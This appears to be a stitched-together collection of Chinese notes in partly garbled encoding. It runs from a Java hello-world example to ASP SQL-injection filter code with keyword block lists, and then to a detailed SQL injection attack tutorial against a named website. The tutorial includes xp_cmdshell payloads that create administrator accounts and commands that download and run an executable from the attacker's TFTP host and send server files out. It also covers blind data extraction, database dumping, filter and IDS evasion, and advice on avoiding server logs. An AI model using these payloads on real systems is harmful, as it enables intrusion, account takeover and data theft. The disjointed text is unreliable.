第二章 Java編程環(huán)境
2.1安裝java
1、java工具包http://java.sun.com/j2se/1.4/install-windows.html
2、設(shè)置執(zhí)行環(huán)境（windows 2000)
PATH=c:\jdk\bin;
3、安裝庫源文件和文檔
jar xvf src.jar
jar xvf j2sdkversion-doc.zip

第一個(gè)java例子
eg:Weclome.java

public class Welcome
{
public static void main(String[] args)
{
String[] greeting=new String[3];
greeting[0]="Welcome to Core Java";
greeting[1]="by Car Horstman";
greeting[2]="and Gary Cornell";
for ( int i=0;i<greeting.length;i++)
System.out.println(greeting[i]);
}
}

1、獲得表單中文本框的數(shù)據(jù)：
mySmartUpload.getRequest().getParameter("applyusrname")
java.util.Enumeration e = mySmartUpload.getRequest().getParameterNames();

<%
function sqlcheck(Str,errtype)
if Instr(LCase(Str),"select ") > 0 or Instr(LCase(Str),"insert ") > 0 or Instr(LCase(Str),"delete ") > 0 or Instr(LCase(Str),"delete from ") > 0 or Instr(LCase(Str),"count(") > 0 or Instr(LCase(Str),"drop table") > 0 or Instr(LCase(Str),"update ") > 0 or Instr(LCase(Str),"truncate ") > 0 or Instr(LCase(Str),"asc(") > 0 or Instr(LCase(Str),"mid(") > 0 or Instr(LCase(Str),"char(") > 0 or Instr(LCase(Str),"xp_cmdshell") > 0 or Instr(LCase(Str),"exec master") > 0 or Instr(LCase(Str),"net localgroup administrators") > 0  or Instr(LCase(Str),"and ") > 0 or Instr(LCase(Str),"net user") > 0 or Instr(LCase(Str),"or ") > 0 then
 Response.write("<script language=javascript>" & vbcrlf & "window.location.href ='ShowError.asp?errtype=" & errtype & "'" & vbcrlf & "</script>")
 Response.End
end if
Str=Replace(Str,"_","")     '過濾SQL注入_
Str=Replace(Str,"*","")     '過濾SQL注入*
Str=Replace(Str," ","")     '過濾SQL注入空格
Str=Replace(Str,chr(34),"")   '過濾SQL注入"
Str=Replace(Str,chr(39),"")            '過濾SQL注入'
Str=Replace(Str,chr(91),"")            '過濾SQL注入[
Str=Replace(Str,chr(93),"")            '過濾SQL注入]
Str=Replace(Str,chr(37),"")            '過濾SQL注入%
Str=Replace(Str,chr(58),"")            '過濾SQL注入:
Str=Replace(Str,chr(59),"")            '過濾SQL注入;
Str=Replace(Str,chr(43),"")            '過濾SQL注入+
Str=Replace(Str,"{","")            '過濾SQL注入{
Str=Replace(Str,"}","")            '過濾SQL注入}
sqlcheck=Str            '返回經(jīng)過上面字符替換后的Str
end function
%>


function SafeRequest(ParaName,ParaType)
'--- 傳入?yún)?shù) ---
'ParaName:參數(shù)名稱-字符型
'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字，0表示以上參數(shù)為字符)

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "參數(shù)" & ParaName & "必須為數(shù)字型！"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function


Function SafeRequest(ParaValue,ParaType)
       '--- 傳入?yún)?shù) ---
       'ParaName:參數(shù)名稱-字符型
       'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字，0表示以上參數(shù)為字符)

       'Dim ParaValue
       'ParaValue=Request(ParaName)函數(shù)里面是不要加引號(hào)
       If ParaType=1 then
              If not isNumeric(ParaValue) then
                   Response.write " 參數(shù)" & ParaName & "必須為數(shù)字型！"
                     Response.end
              End if
       Else
              ParaValue=replace(ParaValue,"'","")
     ParaValue=replace(ParaValue,";and 1=1","")
     ParaValue=replace(ParaValue,";and 1=2","")
     ParaValue=replace(ParaValue,";and user>0","")
     ParaValue=replace(ParaValue,">","")
     ParaValue=replace(ParaValue,"<","")
     ParaValue=replace(ParaValue,"=","")
     ParaValue=replace(ParaValue,"count","")
     ParaValue=replace(ParaValue,"select","")
     ParaValue=replace(ParaValue,"drop","")
     ParaValue=replace(ParaValue,"delect","")
     ParaValue=replace(ParaValue,"insert","")
     ParaValue=replace(ParaValue,"execute","")
     ParaValue=replace(ParaValue,"update","")    
     ParaValue=replace(ParaValue,"mid","")
     ParaValue=replace(ParaValue,"exec","")
     ParaValue=replace(ParaValue,"master","")
     ParaValue=replace(ParaValue,"char","")
     ParaValue=replace(ParaValue,"declare","")
     ParaValue=replace(ParaValue,"*","")
     ParaValue=replace(ParaValue,"%","")
     ParaValue=replace(ParaValue,"chr","")
     ParaValue=replace(ParaValue,"truncate","")
       End if
       SafeRequest=ParaValue
End function
'調(diào)用方式
DirID=Request("DirID")'///數(shù)據(jù)目錄名稱參數(shù)/無則表示全部數(shù)據(jù)
DirID=SafeRequest(DirID,1)


Dim SQL_inbreakstr
SQL_inbreakstr = "'|or|and|exec|insert|select|delete|update|drop|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inbreak = split(SQL_inbreakstr,"|")
R_Q=Request.QueryString
R_F=Request.Form
IF R_Q<>"" THEN
 For i=0 To Ubound(SQL_inbreak)
  IF instr(R_Q,SQL_inbreak(i))>0 THEN
   Response.Write "*****"
                           Response.End
  END IF
 Next
End IF

IF R_F<>"" THEN
 For i=0 To Ubound(SQL_inbreak)
  IF instr(R_F,SQL_inbreak(i))>0 THEN
   Response.Write "*****"
                           Response.End
  END IF
 Next
END IF


<%
'--------版權(quán)說明------------------
'SQL通用防注入程序 V2.0 完美版
'本程序由 火狐-楓知秋 獨(dú)立開發(fā)
'對(duì)本程序有任何疑問請(qǐng)聯(lián)系本人
'QQ:613548

'--------定義部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
'自定義需要過濾的字串,用 "楓" 分隔
Fy_In = "'楓;楓and楓exec楓insert楓select楓delete楓update楓count楓*楓%楓chr楓mid楓master楓truncate楓char楓declare"
'----------------------------------
%>

<%
Fy_Inf = split(Fy_In,"楓")
'--------POST部份------------------
If Request.Form<>"" Then
For Each Fy_Post In Request.Form

For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
'--------寫入數(shù)據(jù)庫-------頭--------
Fy_dbstr="DBQ="+server.mappath("SqlIn.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
Set Fy_db=Server.CreateObject("ADODB.CONNECTION")
Fy_db.open Fy_dbstr
Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")
Fy_db.close
Set Fy_db = Nothing
'--------寫入數(shù)據(jù)庫-------尾--------

Response.Write "<Script Language=JavaScript>alert('楓網(wǎng)SQL通用防注入系統(tǒng)提示↓\n\n請(qǐng)不要在參數(shù)中包含非法字符嘗試注入！\n\nHTTP://WwW.WrSkY.CoM  系統(tǒng)版本:V2.0(ASP)完美版');</Script>"
Response.Write "非法操作！系統(tǒng)做了如下記錄↓<br>"
Response.Write "操作ＩＰ："&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作時(shí)間："&Now&"<br>"
Response.Write "操作頁面："&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式：ＰＯＳＴ<br>"
Response.Write "提交參數(shù)："&Fy_Post&"<br>"
Response.Write "提交數(shù)據(jù)："&Request.Form(Fy_Post)
Response.End
End If
Next

Next
End If
'----------------------------------

'--------GET部份-------------------
If Request.QueryString<>"" Then
For Each Fy_Get In Request.QueryString

For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
''--------寫入數(shù)據(jù)庫-------頭--------
Fy_dbstr="DBQ="+server.mappath("SqlIn.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
Set Fy_db=Server.CreateObject("ADODB.CONNECTION")
Fy_db.open Fy_dbstr
Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")
Fy_db.close
Set Fy_db = Nothing
'--------寫入數(shù)據(jù)庫-------尾--------

Response.Write "<Script Language=JavaScript>alert('楓網(wǎng)SQL通用防注入系統(tǒng)提示↓\n\n請(qǐng)不要在參數(shù)中包含非法字符嘗試注入！\n\nHTTP://WwW.WrSkY.CoM  系統(tǒng)版本:V2.0(ASP)完美版');</Script>"
Response.Write "非法操作！系統(tǒng)做了如下記錄↓<br>"
Response.Write "操作ＩＰ："&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作時(shí)間："&Now&"<br>"
Response.Write "操作頁面："&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式：ＧＥＴ<br>"
Response.Write "提交參數(shù)："&Fy_Get&"<br>"
Response.Write "提交數(shù)據(jù)："&Request.QueryString(Fy_Get)
Response.End
End If
Next
Next
End If
'----------------------------------
%>

可以防止所有得sql注入：
Function SafeRequest(ParaName,ParaType)
 '--- 防止SQL注入 ---
 'ParaName:參數(shù)名稱-字符型
 'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字，0表示以上參數(shù)為字符)
 Dim ParaValue
 ParaValue=Request(ParaName)
 If ParaType=1 then
  If not isNumeric(ParaValue) then
   Response.write "<br><br><br><center><font color=red>參數(shù)" & ParaName & "必須為數(shù)字型！"
   Response.end
  End if
 Else
  ParaValue=replace(ParaValue,"'","''")
 End if
 SafeRequest=ParaValue
End function
來源：http://www.yesky.com/305/1899305.shtml

[獲得數(shù)據(jù)表名][將字段值更新為表名，再想法讀出這個(gè)字段的值就可得到表名] update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個(gè)加一個(gè)]) [ where 條件] [獲得數(shù)據(jù)表字段名][將字段值更新為字段名，再想法讀出這個(gè)字段的值就可得到字段名] update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數(shù)據(jù)表名'),字段列如:1) [ where 條件] 也可以這樣更簡捷的獲取表名： select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…) 通過SQLSERVER注入漏洞建數(shù)據(jù)庫管理員帳號(hào)和系統(tǒng)管理員帳號(hào)[當(dāng)前帳號(hào)必須是SYSADMIN組] news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加數(shù)據(jù)庫用戶用戶test,密碼為test news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼，則用這句（將test的密碼改為123456） news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個(gè)組的成員可執(zhí)行任何操作 news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系統(tǒng)用戶test,密碼為test news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //將系統(tǒng)用戶test提升為管理員 這樣，你在他的數(shù)據(jù)庫和系統(tǒng)內(nèi)都留下了test管理員賬號(hào)了 下面是如何從你的服器下載文件file.exe后運(yùn)行它[前提是你必須將你的電腦設(shè)為TFTP服務(wù)器，將69端口打開] id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';-- 然后運(yùn)行這個(gè)文件： id=2; exec master.dbo.xp_cmdshell 'file.exe';-- 下載服務(wù)器的文件file2.doc到本地TFTP服務(wù)器[文件必須存在]: id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';-- 繞過IDS的檢測[使用變量] declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'

隨著B/S模式應(yīng)用開發(fā)的發(fā)展，使用這種模式編寫應(yīng)用程序的程序員也越來越多。但是由于這個(gè)行業(yè)的入門門檻不高，程序員的水平及經(jīng)驗(yàn)也參差不齊，相當(dāng)大一部分程序員在編寫代碼的時(shí)候，沒有對(duì)用戶輸入數(shù)據(jù)的合法性進(jìn)行判斷，使應(yīng)用程序存在安全隱患。用戶可以提交一段數(shù)據(jù)庫查詢代碼，根據(jù)程序返回的結(jié)果，獲得某些他想得知的數(shù)據(jù)，這就是所謂的SQL Injection，即ＳＱＬ注入。

ＳＱＬ注入是從正常的WWW端口訪問，而且表面看起來跟一般的Web頁面訪問沒什么區(qū)別，所以目前市面的防火墻都不會(huì)對(duì)ＳＱＬ注入發(fā)出警報(bào)，如果管理員沒查看IIS*志的習(xí)慣，可能被入侵很長時(shí)間都不會(huì)發(fā)覺。

但是，ＳＱＬ注入的手法相當(dāng)靈活，在注入的時(shí)候會(huì)碰到很多意外的情況。能不能根據(jù)具體情況進(jìn)行分析，構(gòu)造巧妙的SQL語句，從而成功獲取想要的數(shù)據(jù)，是高手與“菜鳥”的根本區(qū)別。

根據(jù)國情，國內(nèi)的網(wǎng)站用ASP Access或SQLServer的占70%以上，PHP MySQ占L20%，其他的不足10%。在本文，我們從分入門、進(jìn)階至高級(jí)講解一下ASP注入的方法及技巧，PHP注入的文章由NB聯(lián)盟的另一位朋友zwell撰寫，希望對(duì)安全工作者和程序員都有用處。了解ASP注入的朋友也請(qǐng)不要跳過入門篇，因?yàn)椴糠秩藢?duì)注入的基本判斷方法還存在誤區(qū)。大家準(zhǔn)備好了嗎？Let's Go...

入 門 篇

如果你以前沒試過ＳＱＬ注入的話，那么第一步先把IE菜單=>工具=>Internet選項(xiàng)=>高級(jí)=>顯示友好HTTP 錯(cuò)誤信息前面的勾去掉。否則，不論服務(wù)器返回什么錯(cuò)誤，IE都只顯示為HTTP 500服務(wù)器錯(cuò)誤，不能獲得更多的提示信息。

第一節(jié)、ＳＱＬ注入原理

以下我們從一個(gè)網(wǎng)www.19cn.com開始（注：本文發(fā)表前已征得該站站長同意，大部分都是真實(shí)數(shù)據(jù)）。

在網(wǎng)站首頁上，有名為“IE不能打開新窗口的多種解決方法”的鏈接，地址為：http://www.19cn.com/showdetail.asp?id=49，我們?cè)谶@個(gè)地址后面加上單引號(hào)’，服務(wù)器會(huì)返回下面的錯(cuò)誤提示：

Microsoft JET Database Engine 錯(cuò)誤 '80040e14'字符串的語法錯(cuò)誤 在查詢表達(dá)式 'ID=49'' 中。

/showdetail.asp，行8

從這個(gè)錯(cuò)誤提示我們能看出下面幾點(diǎn)：

1.網(wǎng)站使用的是Access數(shù)據(jù)庫，通過JET引擎連接數(shù)據(jù)庫，而不是通過ODBC。

2. 程序沒有判斷客戶端提交的數(shù)據(jù)是否符合程序要求。

3. 該SQL語句所查詢的表中有一名為ID的字段。

從上面的例子我們可以知道，ＳＱＬ注入的原理，就是從客戶端提交特殊的代碼，從而收集程序及服務(wù)器的信息，從而獲取你想到得到的資料。

第二節(jié)、判斷能否進(jìn)行ＳＱＬ注入

看完第一節(jié)，有一些人會(huì)覺得：我也是經(jīng)常這樣測試能否注入的，這不是很簡單嗎？

其實(shí)，這并不是最好的方法，為什么呢？
首先，不一定每臺(tái)服務(wù)器的IIS都返回具體錯(cuò)誤提示給客戶端，如果程序中加了cint(參數(shù))之類語句的話，ＳＱＬ注入是不會(huì)成功的，但服務(wù)器同樣會(huì)報(bào)錯(cuò)，具體提示信息為處理 URL 時(shí)服務(wù)器上出錯(cuò)。請(qǐng)和系統(tǒng)管理員聯(lián)絡(luò)。

其次，部分對(duì)ＳＱＬ注入有一點(diǎn)了解的程序員，認(rèn)為只要把單引號(hào)過濾掉就安全了，這種情況不為少數(shù)，如果你用單引號(hào)測試，是測不到注入點(diǎn)的那么，什么樣的測試方法才是比較準(zhǔn)確呢？答案如下：

① http://www.19cn.com/showdetail.asp?id=49

② http://www.19cn.com/showdetail.asp?id=49 ;;and 1=1

③ http://www.19cn.com/showdetail.asp?id=49 ;;and 1=2

這就是經(jīng)典的1=1、1=2測試法了，怎么判斷呢？看看上面三個(gè)網(wǎng)址返回的結(jié)果就知道了：

可以注入的表現(xiàn)：

① 正常顯示（這是必然的，不然就是程序有錯(cuò)誤了）

② 正常顯示，內(nèi)容基本與①相同

③ 提示BOF或EOF（程序沒做任何判斷時(shí)）、或提示找不到記錄（判斷了rs.eof時(shí)）、或顯示內(nèi)容為空（程序加了on error resume next）不可以注入就比較容易判斷了，①同樣正常顯示，②和③一般都會(huì)有程序定義的錯(cuò)誤提示，或提示類型轉(zhuǎn)換時(shí)出錯(cuò)。

　　當(dāng)然，這只是傳入?yún)?shù)是數(shù)字型的時(shí)候用的判斷方法，實(shí)際應(yīng)用的時(shí)候會(huì)有字符型和搜索型參數(shù)，我將在中級(jí)篇的“ＳＱＬ注入一般步驟”再做分析。

第三節(jié)、判斷數(shù)據(jù)庫類型及注入方法

不同的數(shù)據(jù)庫的函數(shù)、注入方法都是有差異的，所以在注入之前，我們還要判斷一下數(shù)據(jù)庫的類型。一般ASP最常搭配的數(shù)據(jù)庫是Access和SQLServer，網(wǎng)上超過99%的網(wǎng)站都是其中之一。

怎么讓程序告訴你它使用的什么數(shù)據(jù)庫呢？來看看：

SQLServer有一些系統(tǒng)變量，如果服務(wù)器IIS提示沒關(guān)閉，并且SQLServer返回錯(cuò)誤提示的話，那可以直接從出錯(cuò)信息獲取，方法如下：

http://www.19cn.com/showdetail.asp?id=49;;and user>0

這句語句很簡單，但卻包含了SQLServer特有注入方法的精髓，我自己也是在一次無意的測試中發(fā)現(xiàn)這種效率極高的猜解方法。讓我看來看看它的含義：首先，前面的語句是正常的，重點(diǎn)在anduser>0，我們知道，user是SQLServer的一個(gè)內(nèi)置變量，它的值是當(dāng)前連接的用戶名，類型為nvarchar。拿一個(gè)nvarchar的值跟int的數(shù)0比較，系統(tǒng)會(huì)先試圖將nvarchar的值轉(zhuǎn)成int型，當(dāng)然，轉(zhuǎn)的過程中肯定會(huì)出錯(cuò)，SQLServer的出錯(cuò)提示是：將nvarchar值 ”abc” 轉(zhuǎn)換數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤，呵呵，abc正是變量user的值，這樣，不廢吹灰之力就拿到了數(shù)據(jù)庫的用戶名。在以后的篇幅里，大家會(huì)看到很多用這種方法的語句。

順便說幾句，眾所周知，SQLServer的用戶sa是個(gè)等同Adminstrators權(quán)限的角色，拿到了sa權(quán)限，幾乎肯定可以拿到主機(jī)的Administrator了。上面的方法可以很方便的測試出是否是用sa登錄，要注意的是：如果是sa登錄，提示是將”dbo”轉(zhuǎn)換成int的列發(fā)生錯(cuò)誤，而不是”sa”。

如果服務(wù)器IIS不允許返回錯(cuò)誤提示，那怎么判斷數(shù)據(jù)庫類型呢？我們可以從Access和SQLServer和區(qū)別入手，Access和SQLServer都有自己的系統(tǒng)表，比如存放數(shù)據(jù)庫中所有對(duì)象的表，Access是在系統(tǒng)表[msysobjects]中，但在Web環(huán)境下讀該表會(huì)提示“沒有權(quán)限”，SQLServer是在表[sysobjects]中，在Web環(huán)境下

可正常讀取。

在確認(rèn)可以注入的情況下，使用下面的語句：

http://www.19cn.com/showdetail.asp?id=49;;and(select count(*) from sysobjects)>0

http://www.19cn.com/showdetail.asp?id=49;;and(select count(*) from msysobjects)>0

如果數(shù)據(jù)庫是SQLServer，那么第一個(gè)網(wǎng)址的頁面與原頁面http://www.19cn.com/showdetail.asp?id=49是大致相同的；而第二個(gè)網(wǎng)址，由于找不到表msysobjects，會(huì)提示出錯(cuò)，就算程序有容錯(cuò)處理，頁面也與原頁面完全不同。

如果數(shù)據(jù)庫用的是Access，那么情況就有所不同，第一個(gè)網(wǎng)址的頁面與原頁面完全不同；第二個(gè)網(wǎng)址，則視乎數(shù)據(jù)庫設(shè)置是否允許讀該系統(tǒng)表，一般來說是不允許的，所以與原網(wǎng)址也是完全不同。大多數(shù)情況下，用第一個(gè)網(wǎng)址就可以得知系統(tǒng)所用的數(shù)據(jù)庫類型，第二個(gè)網(wǎng)址只作為開啟IIS錯(cuò)誤提示時(shí)的驗(yàn)證。

進(jìn) 階 篇

在入門篇，我們學(xué)會(huì)了ＳＱＬ注入的判斷方法，但真正要拿到網(wǎng)站的保密內(nèi)容，是遠(yuǎn)遠(yuǎn)不夠的。接下來，我們就繼續(xù)學(xué)習(xí)如何從數(shù)據(jù)庫中獲取想要獲得的內(nèi)容，首先，我們先看看ＳＱＬ注入的一般步驟：

第一節(jié)、ＳＱＬ注入的一般步驟

首先，判斷環(huán)境，尋找注入點(diǎn)，判斷數(shù)據(jù)庫類型，這在入門篇已經(jīng)講過了。

其次，根據(jù)注入?yún)?shù)類型，在腦海中重構(gòu)SQL語句的原貌，按參數(shù)類型主要分為下面三種：

(A) ID=49 這類注入的參數(shù)是數(shù)字型，SQL語句原貌大致如下：
Select * from 表名 where 字段=49
注入的參數(shù)為ID=49 And [查詢條件]，即是生成語句：
Select * from 表名 where 字段=49 And [查詢條件]

(B) Class=連續(xù)劇 這類注入的參數(shù)是字符型，SQL語句原貌大致概如下：
Select * from 表名 where 字段=’連續(xù)劇’
注入的參數(shù)為Class=連續(xù)劇’ and [查詢條件] and ‘’=’ ，即是生成語句：
Select * from 表名 where 字段=’連續(xù)劇’ and [查詢條件] and ‘’=’’

(C) 搜索時(shí)沒過濾參數(shù)的，如keyword=關(guān)鍵字，SQL語句原貌大致如下：
Select * from 表名 where 字段like ’%關(guān)鍵字%’
注入的參數(shù)為keyword=’ and [查詢條件] and ‘%’=’， 即是生成語句：
Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’

接著，將查詢條件替換成SQL語句，猜解表名，例如：

ID=49 And (Select Count(*) from Admin)>=0

如果頁面就與ID=49的相同，說明附加條件成立，即表Admin存在，反之，即不存在（請(qǐng)牢記這種方法）。

如此循環(huán)，直至猜到表名為止。

表名猜出來后，將Count(*)替換成Count(字段名)，用同樣的原理猜解字段名。

有人會(huì)說：這里有一些偶然的成分，如果表名起得很復(fù)雜沒規(guī)律的，那根本就沒得玩下去了。說得很對(duì)，這世界根本就不存在100%成功的黑客技術(shù)，蒼蠅不叮無縫的蛋，無論多技術(shù)多高深的黑客，都是因?yàn)閯e人的程序?qū)懙貌粐?yán)密或使用者保密意識(shí)不夠，才有得下手。

有點(diǎn)跑題了，話說回來，對(duì)于SQLServer的庫，還是有辦法讓程序告訴我們表名及字段名的，我們?cè)诟呒?jí)篇中會(huì)做介紹。

最后，在表名和列名猜解成功后，再使用SQL語句，得出字段的值，下面介紹一種最常用的方法－Ascii逐字解碼法，雖然這種方法速度很慢，但肯定是可行的方法。

我們舉個(gè)例子，已知表Admin中存在username字段，首先，我們?nèi)〉谝粭l記錄，測試長度：

http://www.19cn.com/showdetail.asp?id=49;;and (select top 1 len(username) from Admin)>0

先說明原理：如果top 1的username長度大于0，則條件成立；接著就是>1、>2、>3這樣測試下去，一直到條件不成立為止，比如>7成立，>8不成立，就是len(username)=8

　　當(dāng)然沒人會(huì)笨得從0,1,2,3一個(gè)個(gè)測試，怎么樣才比較快就看各自發(fā)揮了。在得到username的長度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII碼，比如：

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同樣也是用逐步縮小范圍的方法得到第1位字符的ASCII碼，注意的是英文和數(shù)字的ASCII碼在1-128之間，可以用折半法加速猜解，如果寫成程序測試，效率會(huì)有極大的提高。

第二節(jié)、ＳＱＬ注入常用函數(shù)

有SQL語言基礎(chǔ)的人，在ＳＱＬ注入的時(shí)候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平，特別是一些常用的函數(shù)及命令。

Access：asc(字符) SQLServer：unicode(字符)

作用：返回某字符的ASCII碼

Access：chr(數(shù)字) SQLServer：nchar(數(shù)字)

作用：與asc相反，根據(jù)ASCII碼返回字符

Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)

作用：返回字符串從N個(gè)字符起長度為L的子字符串，即N到N L之間的字符串

Access：abc(數(shù)字) SQLServer：abc (數(shù)字)

作用：返回?cái)?shù)字的絕對(duì)值（在猜解漢字的時(shí)候會(huì)用到）

Access：A between B And C SQLServer：A between B And C

作用：判斷A是否界于B與C之間

第三節(jié)、中文處理方法

在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其實(shí)只要對(duì)中文的編碼有所了解，“中文恐懼癥”很快可以克服。

先說一點(diǎn)常識(shí)：

Access中，中文的ASCII碼可能會(huì)出現(xiàn)負(fù)數(shù)，取出該負(fù)數(shù)后用abs()取絕對(duì)值，漢字字符不變。

SQLServer中，中文的ASCII為正數(shù)，但由于是UNICODE的雙位編碼，不能用函數(shù)ascii()取得ASCII碼，必須用函數(shù)unicode ()返回unicode值，再用nchar函數(shù)取得對(duì)應(yīng)的中文字符。


了解了上面的兩點(diǎn)后，是不是覺得中文猜解其實(shí)也跟英文差不多呢？除了使用的函數(shù)要注意、猜解范圍大一點(diǎn)外，方法是沒什么兩樣的。

高 級(jí) 篇

看完入門篇和進(jìn)階篇后，稍加練習(xí)，破解一般的網(wǎng)站是沒問題了。但如果碰到表名列名猜不到，或程序作者過濾了一些特殊字符，怎么提高注入的成功率？怎么樣提高猜解效率？請(qǐng)大家接著往下看高級(jí)篇。

第一節(jié)、利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫

SQLServer是一個(gè)功能強(qiáng)大的數(shù)據(jù)庫系統(tǒng)，與操作系統(tǒng)也有緊密的聯(lián)系，這給開發(fā)者帶來了很大的方便，但另一方面，也為注入者提供了一個(gè)跳板，我們先來看看幾個(gè)具體的例子：

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

　　分號(hào);在SQLServer中表示隔開前后兩句語句，--表示后面的語句為注釋，所以，這句語句在SQLServer中將被分成兩句執(zhí)行，先是Select出ID=1的記錄，然后執(zhí)行存儲(chǔ)過程xp_cmdshell，這個(gè)存儲(chǔ)過程用于調(diào)用系統(tǒng)命令，于是，用net命令新建了用戶名為name、密碼為password的windows的帳號(hào)，接著：

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators/add”--

　　將新建的帳號(hào)name加入管理員組，不用兩分鐘，你已經(jīng)拿到了系統(tǒng)最高權(quán)限！當(dāng)然，這種方法只適用于用sa連接數(shù)據(jù)庫的情況，否則，是沒有權(quán)限調(diào)用xp_cmdshell的。

　　③ http://Site/url.asp?id=1 ;;and db_name()>0

前面有個(gè)類似的例子and user>0，作用是獲取連接用戶名，db_name()是另一個(gè)系統(tǒng)變量，返回的是連接的數(shù)據(jù)庫名。

④ http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫名 to disk=’c:\inetpub\wwwroot\1.db’;--這是相當(dāng)狠的一招，從③拿到的數(shù)據(jù)庫名，加上某些IIS出錯(cuò)暴露出的絕對(duì)路徑，將數(shù)據(jù)庫備份到Web目錄下面，再用HTTP把整個(gè)數(shù)據(jù)庫就完完整整的下載回來，所有的管理員及用戶密碼都一覽無遺！在不知道絕對(duì)路徑的時(shí)候，還可以備份到網(wǎng)絡(luò)地址的方法（如\\202.96.xx.xx\Share\1.db），但成功率不高。

　　⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’and status>0)>0

前面說過，sysobjects是SQLServer的系統(tǒng)表，存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象，xtype=’U’and status>0，表示用戶建立的表名，上面的語句將第一個(gè)表名取出，與0比較大小，讓報(bào)錯(cuò)信息把表名暴露出來。第二、第三個(gè)表名怎么獲取？還是留給我們聰明的讀者思考吧。

⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

從⑤拿到表名后，用object_id(‘表名’)獲取表名對(duì)應(yīng)的內(nèi)部ID，col_name(表名ID,1)代表該表的第1個(gè)字段名，將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。

　　以上6點(diǎn)是我研究SQLServer注入半年多以來的心血結(jié)晶，可以看出，對(duì)SQLServer的了解程度，直接影響著成功率及猜解速度。在我研究SQLServer注入之后，我在開發(fā)方面的水平也得到很大的提高，呵呵，也許安全與開發(fā)本來就是相輔相成的吧。

第二節(jié)、繞過程序限制繼續(xù)注入

在入門篇提到，有很多人喜歡用’號(hào)測試注入漏洞，所以也有很多人用過濾’號(hào)的方法來“防止”注入漏洞，這也許能擋住一些入門者的攻擊，但對(duì)ＳＱＬ注入比較熟悉的人，還是可以利用相關(guān)的函數(shù)，達(dá)到繞過程序限制的目的。

在“ＳＱＬ注入的一般步驟”一節(jié)中，我所用的語句，都是經(jīng)過我優(yōu)化，讓其不包含有單引號(hào)的；在“利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫”中，有些語句包含有’號(hào)，我們舉個(gè)例子來看看怎么改造這些語句：

簡單的如where xtype=’U’，字符U對(duì)應(yīng)的ASCII碼是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用戶’，可以用where name=nchar(29992) nchar(25143)代替。

第三節(jié)、經(jīng)驗(yàn)小結(jié)

1.有些人會(huì)過濾Select、Update、Delete這些關(guān)鍵字，但偏偏忘記區(qū)分大小寫，所以大家可以用selecT這樣嘗試一下。

2.在猜不到字段名時(shí)，不妨看看網(wǎng)站上的登錄表單，一般為了方便起見，字段名都與表單的輸入框取相同的名字。

3.特別注意：地址欄的 號(hào)傳入程序后解釋為空格，+解釋為 號(hào)，%解釋為%號(hào)，具體可以參考URLEncode的相關(guān)介紹。

4.用Get方法注入時(shí)，IIS會(huì)記錄你所有的提交字符串，對(duì)Post方法做則不記錄，所以能用Post的網(wǎng)址盡量不用Get。

